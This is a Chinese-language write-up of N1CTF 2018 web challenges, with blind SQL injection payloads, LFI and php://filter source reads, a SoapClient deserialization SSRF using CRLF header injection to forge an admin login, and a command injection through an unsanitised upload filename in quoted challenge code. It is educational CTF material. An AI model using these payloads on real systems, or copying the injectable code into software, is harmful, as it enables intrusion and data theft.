before start
周末打了N1CTF,果不其然是被虐了,做了两道半web。思路还是不够开阔,有些之前见过的姿势也没利用上,几个题没做出来也比较可惜,整理了一下web的wp。
ps. sql注入可能是我的一生之敌了。
77777

本来以为是格式化字符串漏洞导致的盲注,结果发现是update注入。这个地方盲注、显式注入都可以。
盲注payload:
| 1
 | flag=0&hi=1 && password<"A"
 | 
符合条件的话分数会被更新为1,否则为0。接下来就是跑脚本了,感觉很容易受到干扰(好像flag也变过),可能是做的人比较多,跑了几次之后得到了正确的flag。
显式payload:
| 1
 | flag=0&hi=%2b(select hex(mid((select a.password from (select password from users) a),1,1)))
 | 
首先将字符拆分,然后转化为16进制(便于输出),然后再转换就行了。
easy php
习惯性扫目录,得到index.php,顺手在别的文件也加了,结果都有。加上目录遍历,得到了全部源码。
看了看代码思路很清晰,绕过admin检测,然后上传。
上传
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | function upload($file){$file_size  = $file['size'];
 if($file_size>2*1024*1024) {
 echo "pic is too big!";
 return false;
 }
 $file_type = $file['type'];
 if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
 echo "file type invalid";
 return false;
 }
 if(is_uploaded_file($file['tmp_name'])) {
 $uploaded_file = $file['tmp_name'];
 $user_path =  "/app/adminpic";
 if (!file_exists($user_path)) {
 mkdir($user_path);
 }
 $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
 $file_true_name = str_replace('/','',$file_true_name);
 $file_true_name = str_replace('\\','',$file_true_name);
 $file_true_name = $file_true_name.time().rand(1,100).'.jpg';
 $move_to_file = $user_path."/".$file_true_name;
 if(move_uploaded_file($uploaded_file,$move_to_file)) {
 if(stripos(file_get_contents($move_to_file),'<?php')>=0)
 system('sh /home/nu1lctf/clean_danger.sh');
 return $file_true_name;
 }
 else
 return false;
 }
 else
 return false;
 }
 
 | 
可以看到无论上上传什么都会调用clean_danger.sh
通过文件包含可以看到clean_danger.sh的内容为
| 12
 3
 
 | http://47.97.221.96/index.php?action=../../../../home/nu1lctf/clean_danger.shcd /app/adminpic/
 rm *.jpg
 
 | 
这里可以用条件竞争来getshell,只不过上传之后的文件名需要爆破,所以竞争起来成功率不高,线程开多点问题还是不大的。
ps. 看wp可以用linux的一个特性绕过删除
Using a feature of commands of linux
When we create a file like -xaaaaaaa.jpg We could not delete it by rm * or rm *.jpg except rm -r adminpic/

insert盲注
看一下config.php中insert函数的实现
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | public function insert($columns,$table,$values){$column = $this->get_column($columns);
 $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
 $nid =
 $sql = 'insert into '.$table.'('.$column.') values '.$value;
 $result = $this->conn->query($sql);
 
 return $result;
 }
 
 | 
没有进行任何过滤,但是有一个全局过滤的函数。
config.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 
 | function addslashes_deep($value){
 if (empty($value))
 {
 return $value;
 }
 else
 {
 return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
 }
 }
 
 function addsla_all()
 {
 if (!get_magic_quotes_gpc())
 {
 if (!empty($_GET))
 {
 $_GET  = addslashes_deep($_GET);
 }
 if (!empty($_POST))
 {
 $_POST = addslashes_deep($_POST);
 }
 $_COOKIE   = addslashes_deep($_COOKIE);
 $_REQUEST  = addslashes_deep($_REQUEST);
 }
 }
 addsla_all();
 
 | 
搜一下insert,发现存在可控变量的就这一处
user.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | function publish(){
 if(!$this->check_login()) return false;
 if($this->is_admin == 0)
 {
 if(isset($_POST['signature']) && isset($_POST['mood'])) {
 
 $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
 $db = new Db();
 @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
 if($ret)
 return true;
 else
 return false;
 }
 }
 
 }
 
 | 
很明显signature是可控的,我们完全可以构造一个不用单引号的盲注payload
| 1
 | signature=1`,if((ascii(substr((select password from ctf_users where is_admin=1),1,1))=113),sleep(5),1))#&mood=1
 | 
抛出管理员密码,解密为nu1ladmin,但是管理员只允许本地登录。。。
ssrf
放出提示要找一个ssrf,在这里被卡的废废的。卡在门口是真的难受。。。
在index.php-showmess()中有一处使用了unserialize

推测是用反序列化+ssrf。
使用的是SoapClient这个php自带类(表示第一次听说,知识面还是太窄)
测试代码如下:
| 12
 3
 4
 5
 6
 7
 8
 
 | $a = new SoapClient(null, array('location'=> "http://seaii-blog.com:8000",
 'uri'=> "123"
 ));
 $res = serialize($a);
 echo $res;
 $a = unserialize($res);
 $a->getsubtime();
 
 | 
当反序列化出来的对象调用不存在的函数是,就会调用__call方法,向外发送请求

可以看到本身就是发送的post请求,但是没办法携带数据。我们需要做的是修改Content-type并且附上要传送的数据。
恰好User-Agent存在crlf可以将下面的部分截断,具体分析过程可以移步官方wp:http://wupco.cn/hctf/ezphp.pdf
代码来自官方wp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | $post_string = 'a=b&flag=aaa'; $headers = array(
 'X-Forwarded-For: 127.0.0.1',
 'Cookie: xxxx=1234'
 );
 $a = new SoapClient(null,array(
 'location' => 'http://seaii-blog.com:8000',
 'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));
 $aaa = serialize($a);
 $aaa = str_replace('^^',"\r\n",$aaa);
 $aaa = str_replace('&','&',$aaa);
 $a = unserialize($aaa);
 $a->getsubtime();
 
 | 

可以看到请求已经被“改造”为正常的post请求了。
2018.03.13 今天看wonderkun师傅的wp又学了一手,在这里补充上。soap在user_agent和uri处都有crlf,但是要修改Content-Type,才能将数据post出去。uri同样可以达到目的,关键点就在于Connection: Keep-Alive。
可以发现当第一个请求的Connection为Keep-Alive的时候,接着的那个请求也会被响应。也就是说在一次HTTP连接中可以同时又多个HTTP请求头和请求体,但是当前请求被响应的前提是,前一个请求有Connection: Keep-Alive 。 (测试的时候需要注意Content-Length字段,需把burp中的repeater->update content-length选项关掉)
这里就也给了我们一个很重要的启示,如果我们遇到一个GET型的CRLF注入,但是我们需要的却是一个POST类型的请求,就可以用这种方式,在第一个请求中注入一个Connection: Keep-Alive,然后接着往下注入第二个请求,就可以实现我们的目的。
测试代码来自wp
| 12
 3
 4
 5
 
 | $uri = "http://www.baidu.com/?test=blue\r\nContent-Length: 0\r\n\r\n\r\nPOST /index.php?action=login HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: PHPSESSID=52m5ugohiki56gds9c6t71rj92\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 45\r\nConnection: Close\r\n\r\nusername=admin&password=nu1ladmin&code=435137\r\n\r\n\r\n";$location = "http://seaii-blog.com:8000/index.php";
 $event = new SoapClient(null,array('location'=>$location,'uri'=>$uri));
 $e = serialize($event);
 unserialize($e)->getsubtime();
 
 | 

可以看到收到了两次请求,学无止境呀。
接下来就是伪造请求去登录admin账户了,记得要带着cookie(PHPSESSID)去访问,这样验证码就是当前页面的,并且登录成功之后会将这个session的is_admin设置为1。就可以以管理员的身份进行操作了。
getshell之后flag并没有在主机中,而是在数据库里,需要root账户。mysql的root密码可以通过LFI /run.sh获得。
非预期
这个题目还有几个非预期解,附上链接。
http://skysec.top/2018/03/12/N1CTF-2018-Web
http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/
77777 2
这个题跟上面的题目差不多,做了更严格的过滤。本来上面的payload就能跑的,题目又修改了一下,过滤又严格了。可能出题师傅低估了师傅们的payload吧:P。
测试了一下,只要payload里面的数字或者显示的分数不是1开头的,就被ban,那就一个一个加呗。。
payload
| 1
 | flag=0&hi=%2b(select conv(hex(substr((select a.pw from (select c.pw from users c) a),1+1+1,1)),16,10))
 | 
将截取来的16进制再转为10进制,都是100多,符合条件。
funning eating cms
牛逼的师傅都在拿flag,而菜的人只能给管理员发邮件聊天,233333

这题一开始就跑偏了。。以为是xss,怼了半天。后来发现是LFI,时间也不多了。。。
首先利用LFI获取user.php的源码
| 1
 | http://47.52.152.93:20000/user.php?page=php://filter/convert.base64-encode/resource=user
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 
 | <?phprequire_once("function.php");
 if( !isset( $_SESSION['user'] )){
 Header("Location: index.php");
 }
 if($_SESSION['isadmin'] === '1'){
 $oper_you_can_do = $OPERATE_admin;
 }else{
 $oper_you_can_do = $OPERATE;
 }
 
 if($_SESSION['isadmin'] === '1'){
 if(!isset($_GET['page']) || $_GET['page'] === ''){
 $page = 'info';
 }else {
 $page = $_GET['page'];
 }
 }
 else{
 if(!isset($_GET['page'])|| $_GET['page'] === ''){
 $page = 'guest';
 }else {
 $page = $_GET['page'];
 if($page === 'info')
 {
 
 Header("Location: user.php?page=guest");
 }
 }
 }
 filter_directory();
 
 
 
 include "$page.php";
 ?>
 
 | 
通过代码可以得到两个信息
- function.php
- 只有admin才能看info.php
先获取源码看看吧
info.php
| 12
 3
 4
 5
 6
 
 | <?phpif (FLAG_SIG != 1){
 die("you can not visit it directly ");
 }
 include "templates/info.html";
 ?>
 
 | 
直接访问http://47.52.152.93:20000/templates/info.html可以得到一个hint

接下来是function.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 
 | <?phpsession_start();
 require_once "config.php";
 function Hacker()
 {
 Header("Location: hacker.php");
 die();
 }
 
 function filter_directory()
 {
 $keywords = ["flag","manage","ffffllllaaaaggg"];
 $uri = parse_url($_SERVER["REQUEST_URI"]);
 parse_str($uri['query'], $query);
 
 
 foreach($keywords as $token)
 {
 foreach($query as $k => $v)
 {
 if (stristr($k, $token))
 hacker();
 if (stristr($v, $token))
 hacker();
 }
 }
 }
 
 ?>
 
 | 
主要逻辑全在这个文件中,这里只上了关键代码。
我们得到的hint已经被禁了,我们要想办法绕过parse_url和parse_str的解析。
绕过方法很简单,只要加足够多的/就好了。看测试代码:
| 12
 3
 4
 5
 6
 
 | <?php $uri = parse_url($_SERVER["REQUEST_URI"]);
 var_dump($uri);
 parse_str($uri['query'], $query);
 var_dump($query);
 ?>
 
 | 

利用这种方法继续读ffffllllaaaaggg.php的代码
| 1
 | http://47.52.152.93:20000///user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
 | 
| 12
 3
 4
 5
 6
 7
 
 | <?phpif (FLAG_SIG != 1){
 die("you can not visit it directly");
 }else {
 echo "you can find sth in m4aaannngggeee";
 }
 ?>
 
 | 
好吧,继续。。。
| 12
 3
 4
 5
 6
 7
 
 | <?phpif (FLAG_SIG != 1){
 die("you can not visit it directly");
 }
 include "templates/upload2323233333.html";
 
 ?>
 
 | 
访问``又得到一个hint

没懂什么意思,往下看处理上传的文件upllloadddd.php,接着读吧
upllloadddd.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 
 | <?php$allowtype = array("gif","png","jpg");
 $size = 10000000;
 $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
 $filename = $_FILES['file']['name'];
 if(is_uploaded_file($_FILES['file']['tmp_name'])){
 if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
 die("error:can not move");
 }
 }else{
 die("error:not an upload fileï¼");
 }
 $newfile = $path.$filename;
 echo "file upload success<br />";
 echo $filename;
 
 $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
 echo "<img src='data:image/png;base64,".$picdata."'></img>";
 if($_FILES['file']['error']>0){
 unlink($newfile);
 die("Upload file error: ");
 }
 $ext = array_pop(explode(".",$_FILES['file']['name']));
 if(!in_array($ext,$allowtype)){
 unlink($newfile);
 }
 ?>
 
 | 
重点是这两行
| 12
 
 | $filename = $_FILES['file']['name'];$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
 
 | 
上传文件名没有作任何处理,直接拼接到system中,肉眼可见的命令注入

不知道为什么这里构造ls -a /不生效,那就ls -a ..吧

一通操作终于是拿到flag了。。。

不能用/是真的难受。。。
ps.其实这题xdebug没关,可以直接拿到flag,但是比赛已经结束了。。。

harder php?
正解和easy php是一样的,可能处理一些非预期的情况。
babysqli
坐等wp,未完待续。。。
官方wp出了,但是只给了一个解题脚本。。。
https://github.com/Nu1LCTF/n1ctf-2018/blob/master/writeups/web/babysqli.md
根据代码来看大体思路是这样的:首先注入点在userinfo(这点倒是想到了),然后根据登陆成功之后用户头像来构造一个bool盲注(有提示),看起来过滤也不是太严格,当时看的再仔细点就好了。